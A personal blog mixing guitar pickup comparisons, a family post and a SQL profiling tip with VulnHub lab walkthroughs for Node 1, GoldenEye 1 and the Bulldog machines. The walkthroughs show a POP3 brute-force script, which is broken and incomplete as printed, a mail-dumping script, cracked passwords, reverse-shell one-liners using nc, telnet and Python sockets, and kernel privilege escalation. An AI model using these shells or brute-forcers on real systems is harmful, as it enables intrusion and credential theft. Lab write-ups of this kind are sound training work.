Happy New Year

It’s been a busy few months and I haven’t had much opportunity to explore new blog material, but today’s the day I change that. I came up with two completely unrelated videos to share.

1) A clip featuring a very talented actor portraying a doctor. I admire the way he intently examines his notes while also acknowledging the active escape of a patient; it’s the lack of overacting that makes this actor stand out. This guy is going places.

2) I recently acquired an EHX POG2 (thanks Mom and Dad) after I accidentally destroyed my EHC Micro Pog (sorry Sharon, thanks for that one though) and wanted to give it a go…thus, my first recording with it. Enjoy!

Frog Family Band

Today is Lydia’s 5th Birthday.  She’s an amazing kid and I love her dearly.  Here’s a glimpse into the life and personality of Lydia.  This is all original content.


SQL Server Profiling

Considering that Gibson Pickups are fresh on my mind, I’d like to delve deeper into SQL Server Profiling. While the Profiler provides immensely helpful data, and while I love parameterized SQL (for all the reasons that it keeps me and the rest of the world safer), the combination of the two of these provide rather inconvenient means for debugging poorly performing queries.

I have a query which performs quite poorly on one server, yet very quickly on another. It has 212 arguments. Also, it’s not any old “IN” statement where I can throw in a comma delimited list of items, there’s around 212 “IN” statements, each of which take a single argument…so simply rewriting this query correctly by hand isn’t very easy.

SQL Server Profiler does a good job of recording this query, but it’s completely broken up into the raw SQL and the parameters being passed, just like Java passed along.

Next, to profile…when using SQL Server’s functionality to display the Execution Plan (with the raw SQL and parameters that were provided through the Profiler) it tells us pretty much nothing since it’s all executed under the guise of a stored procedure.

Thanks for the help!

To combat this I wrote some quick and dirty Python code to throw this script into a legit SQL query.


We can then take the output from the execution of that Python code and check out the actual execution plan of the query, giving some actual sensible information to further debug and figure out what the real problem-of-the-day is today.

Gibson Pickups

I decided to switch gears this week and instead of focusing on penetration testing, focus on pickup testing. One hotly debated issue these days (rarely picked up by mainstream media, no pun intended…that’s a lie, it was obviously intentional) is the difference in stock Gibson pickups; which is better, which is smoother, which is louder, etc. While YouTube and other outlets provide a wealth of knowledge on such topics, I have/had yet to find an informative video which gives ample demonstration of the BurstBucker Pro vs the BurstBucker 1…and in this case I’m specifically talking about the neck pickup (perhaps we’ll delve into the bridge another day).

Not only is it, of course, helpful to hear someone demo these pickups…but to do it such a way that your ear can truly hear the differences (or lack thereof) in the same sounds, back to back (as opposed to playing an entire solo, start to finish, and then playing it a second time after your ear’s palate has forgotten the prior).

In this video I’m playing a 2016 Gibson Les Paul Standard (Light Burst) for the BurstBucker Pro, and a 2018 Gibson Les Paul Traditional (Heritage Cherry) for the BurstBucker 1. Both are played through a Marshall DSL40cr with some added spring reverb from a Strymon Big Sky.

My honest conclusion from this is that I don’t hear significant difference, but I enjoyed the BurstBucker 1 slightly better. Maybe I played that sample cleaner, maybe my setup is better in that guitar, maybe it’s the resonance of the non weight-relieved body, or maybe it’s actually the pickups…but I did like that ever-so-slightly better than the other.

Node: 1

Node: 1 is the latest box (as of today) available on VulnHub. It’s a nifty thing with a few interesting hoops to jump through in order to get root. Here’s the scoop:

nmap reports an SSH service on port 22 and something else on port 3000. A quick banner grab with NetCat tells us that it’s an Express Node.js app. Simply by browsing around the site we’re able to enumerate a few users.

After looking at the source code we can also see references to paths on the server which are intended to return additional data.

So clearly we’re able to find hashed passwords of users, as long as we know their usernames.

On the off-chance that we might find some other flaw in the application I tried a simple GET while leaving out any usernames at all…bingo!

We now see four different username/passhash combinations. We can throw these into a file and use John the Ripper to see what we can break.

JTR very quickly identifies the passwords for 3 users, including the one we really wanted, which is myP14ceAdm1nAcc0uNT:manchester. While it was worth a shot to try and SSH with these credentials, that doesn’t work. But this does allow authentication into this Node.js app. The app provides a button to “Download Backup”, which is obviously my next step.

The file is of course assumed to be an archive of sorts, so I rename to zip, but it still isn’t the correct format. Looking closer, it appears to be base64 encoded. The good news is that after decoding the file our unzip command works just fine.

The bad news is that the file is password protected.  Fortunately for us, Kali comes standard with fcrackzip.

app.js turns out to be the heart of where this app is configured. The file contains a path to the local MongoDB instance and also includes plain text username/password, which, in this case *does* allow us to SSH into the server.

Now we’re logged in with a lower privilege user. A quick kernel check shows version 4.4.

Using our trusty something-search we find some low hanging potential fruit.

Turns out this exploit works perfectly, providing root access and the capture of the two desired flags!

Goldeneye: 1

GoldenEye: 1 was the third VulnHub machine that I successfully rooted.  It’s described as an “OSCP type vulnerable machine”, which I found to be very accurate.  One thing that I’ve found to be slightly different with some VulnHub machines (and/or maybe CTF challenges in general) vs typical OSCP boxes is that they’re often times set up to be more of games and brain teasers than they are challenges to allow you to continue the honing of your penetration testing skills.  While that’s all good, and I certainly appreciate a good brain teaser…I much prefer a more realistic scenario with vulnerabilities to exploit and code to write.  That said, below is my walkthrough on this machine  (which I thoroughly enjoyed).

Like any good penetration tester, I like to start with an old-fashioned nmap scan. With that I found services on ports 25, 80, 5506 and 5507. Through some banner grabbing with NetCat (and also a pinch of common sense) we find SMTP, HTTP, and POP3 services. Next is a Nikto scan, which finds a page called splashAdmin.php at the root web context.

This elegant 90s-inspired web page allows us to start our user enumeration; seems like Boris and Natalya are both users of this system.

Additionally, and this doesn’t turn out to be very helpful or interesting but I’ll mention it anyway…if you visit the root context you’ll have a welcome page with a reference to terminal.js which has an HTML encoded string. Turns out this can be decoded to say “InvincibleHack3r” and can be used with one of the two usernames we’ve come across at this point (boris) to access the referenced page /sev-home (Basic Auth). I found nothing very interesting here, though…thus, we move on.

Back to the two usernames we have…we have some mail services running on this machine that we’d like to start checking into. Using a pretty simple Python script we’re able to VRFY both Boris and Natalya, nice!

Now to see if we can get into their inboxes. Sure we could use the auxiliary/scanner/pop3/pop3_login Metasploit module, and it’s probably much faster than something that I’d write myself, but that’s less fun.

import socket
import sys
import threading
import time

host = sys.argv[1]
port = sys.argv[2]
userlist = sys.argv[3]
passwordlist = sys.argv[4]

brokenUsers = []

def doAuth(user, password):
        if(user in brokenUsers):
            s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connect=s.connect((host, int(port)))
            s.send('USER ' + user + '\r\n')
            s.send('PASS ' + password + '\r\n')
            resp = s.recv(1024)
            if("OK" in resp):
                print "Success for " + user + " with password " + password
                print resp
                    print "Exiting early because all users broken"

class AuthThread(threading.Thread):
    def __init__(self, user, password):
        self.user = user
        self.password = password
    def run(self):
        doAuth(self.user, password.strip())

with open(userlist) as userfile:
    userlist = userfile.readlines(8192)

with open(passwordlist) as pwfile:
   pwlist  = pwfile.readlines(8192)

counter = 0
for user in userlist:
    for password in pwlist:
        if(user in brokenUsers):
        thread = AuthThread(user.strip(), password.strip())
        counter = counter + 1
        if(counter%50 == 0):

So now we have two logins:

We can now login to their mail accounts on port 55007 and retrieve all of their messages (with some slightly more sophisticated/modern POP3 code).

import poplib
from email import parser
import sys

host = sys.argv[1]
port = sys.argv[2]
user = sys.argv[3]
password = sys.argv[4]

def getConnection():
    conn = poplib.POP3(host, port)
    return conn

def retrieveMail():
    conn = getConnection() 
    messages = [conn.retr(i) for i in range(1, len(conn.list()[1]) + 1)]
    messages = ["\n".join(msg[1]) for msg in messages]
    messages = [parser.Parser().parsestr(msg) for msg in messages]
    return messages

def printMail():
    messages = retrieveMail()
    for msg in messages:
        for part in msg.walk():
            name = part.get_filename()
            if(name != None):
                print "\n----Attachment----\n " + name + "\n----End Attachment----\n"
            data = part.get_payload(decode=True)
            print data


The most interesting piece here is:
username: xenia
password: RCP90rulez!

Additionally, they mention “severnaya-station.com/gnocertdir”, and to point your host file there. After doing that, and going there we find a login form to a “Moodle” website where we can authenticate as xenia.

After a bit of browsing around Xenia’s account we find some communication between her and “Dr. Doak”, who conveniently tells us that his email username is “doak”.

Here’s another account we can try and brute force.

Nice, using our same lightning-fast (yet super intrusive) Python script we’re able to break doak’s password and download his mail.

Dr. Doak has a secret file stored in his Moodle account which references a .jpg that lives on the server. We can download that .jpg and peek inside to find a base64 encoded string.

So the admin’s password is xWinter1995x! Now to figure out what to do with that. While there is a Metasploit module which can exploit Moodle (exploit/multi/http/moodle_cmd_exec), I found that this didn’t work for me for a yet-to-be-determined reason (I didn’t dig deep enough to find the flaw). What I did find, though, is that the same vulnerability that the Metasploit module takes advantage of can be exploited manually.

The vulnerability has to do with the piece of Moodle that handles spellchecking. There’s a system path, which can be specified by administrators, that gets executed whenever someone tries to spellcheck a blog post, for instance. This is what we need to override with some reverse shell code.

After logging in with our admin credentials (dr_doak:xWinter1995x!) we navigate to the System/Paths section to override this setting, in addition to adjusting the Spell engine to use PSpellShell.

While everyone knows there’s a million ways to invoke a reverse shell, the approach I went with uses the “backpipe” trick.

sh -c '(mknod /tmp/backpipe p 2> /dev/null && /bin/bash 0</tmp/backpipe | telnet 4444 1>/tmp/backpipe &)'

After saving my new settings and invoking the spellchecker (while composing a blog entry), my reverse shell connects with a low-privilege shell (www-data).

It’s clear from the get-go that we’re looking at Linux kernel 3.13. A quick something-search turns up a pretty simple privilege escalation exploit.

The bad news, however, is that this exploit requires gcc, which was conveniently mentioned way back in the beginning of this adventure, on splashAdmin.php, where it was stated that gcc was removed from the server.

Thus, we swap it out with cc and place it on our attacking machine’s Apache server for a quick download with wget (still via our reverse shell), compile with cc, and execution for full root privileges.

Bulldog 1

Based on my enjoyment of Bulldog 2, the only logical choice for my second VulnHub challenge was Bulldog 1.

A quick nmap scan tells us that there’s a web sever running on ports 80 and 8080. DirBuster finds several interesting leads with content at /dev and also /admin.

The /dev page contains some info about “company” changes, including a list of technical points of contact. It also contains a link to a web shell which is only accessible by authenticated users…we’ll come back to that.

A quick view of the source code behind the page shows some commented out hashes…very sly.

John the Ripper has an easy time breaking nick’s hash.

The /admin URL brings us to a login form where we can enter nick’s credentials.

After authenticating we can then revisit the web shell referenced on the /dev page. While the commands permitted in the web shell are limited, you can circumvent that restriction to some extent by using the double ampersand to execute multiple commands. Still, however, simpler methods (Python reverse shell, NetCat with -e, etc) for reverse shells still error out with a “Server Error (500)”. The approach I found to be successful was the “backpipe” method that I used for much of my OSCP studies.

The two commands I used were:
pwd && mknod /tmp/backpipe p
pwd && /bin/sh 0</tmp/backpipe | nc 443 1>/tmp/backpipe

This creates a reverse shell back to my Kali machine. From there I can enumerate the bulldog server and look for low hanging fruit to escalate my privileges. We find that server is running a linux kernel version 4.4.0. The top result for “4.4.0” on exploit-db.com brings us to Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) – Local Privilege Escalation

We can download this file and compile on our attacking machine, retrieve it from the bulldog VM with wget, and run the executable. And voila, rooted!

First blog entry – Bulldog 2!

Thanks for visiting my blog!  I think this may turn out to be a rather unique blog in the sense that it’s not exactly geared towards one thing;  while at the same time it’s not geared towards “many” things either.  Two of the main areas that I enjoy researching are guitars and penetration testing…obviously these have nothing to do with each other, but I’m gonna roll with it anyway.  So here we go with my first entry:  my walkthrough of Bulldog 2 (built by @Frichette_non VulnHub.

Here’s the story…the Bulldog web site has a link on the main page which shows you the Top Monthly Users…an invitation for further enumeration.

When checking out the network traffic in my browser’s dev tools it’s clear that an argument is being passed to the getUsers URI.

Since the home page tells us that there’s over 15K users we can throw a much higher number into the URL so that we make sure to get them all.

After saving that response as a .json file we can then extract all usernames from the file and pipe the output to a .txt file.

After we have all usernames, we can then try and brute force our way into the app.  If we tried 15K usernames multiplied by ~15 million passwords (the length of rockyou.txt on a Kali box), we’d be here for days.  So for that reason I took the top 10 entries from rockyou.txt and built a much smaller file.  The following is the code I used to authenticate to the app.

Nice, we found a username/password combination to gain access to the app.  

Unfortunately, however, there’s not much this user can see/do.  We need to dig deeper.  The first interesting artifact to look at is the main.bundle.js source code, run through jsbeautifier.org

The client side looks for an auth_level property of the user and seeks out the string “master_admin_user”.  If this is found then setItem is called on the user with the user object.

When we look back to the request that authenticates eivijay, we can see that property in the JSON response.  Thus, the idea is that if the response contained “master_admin_user” that this user would be handled differently on the client side.

With this new found knowledge we can execute our own JavaScript to mimic the intended use of the client side functions. 

After a screen refresh we now have an Admin button which takes us to a form for a CLI tool.  With a bit of trial and error (as well as a solid hint from @am0nsec) we can execute whatever shell command we like with a command injection into the password box:

; python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“”,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);

With a NetCat listener on my Kali machine I’m able to obtain a reverse shell, modify /etc/passwd, and fully compromise the machine.

Many thanks to @Frichette_n for this VM, and to @am0nsec for the extra clue on the command injection!

Also, thanks to you (the reader of this) for visiting!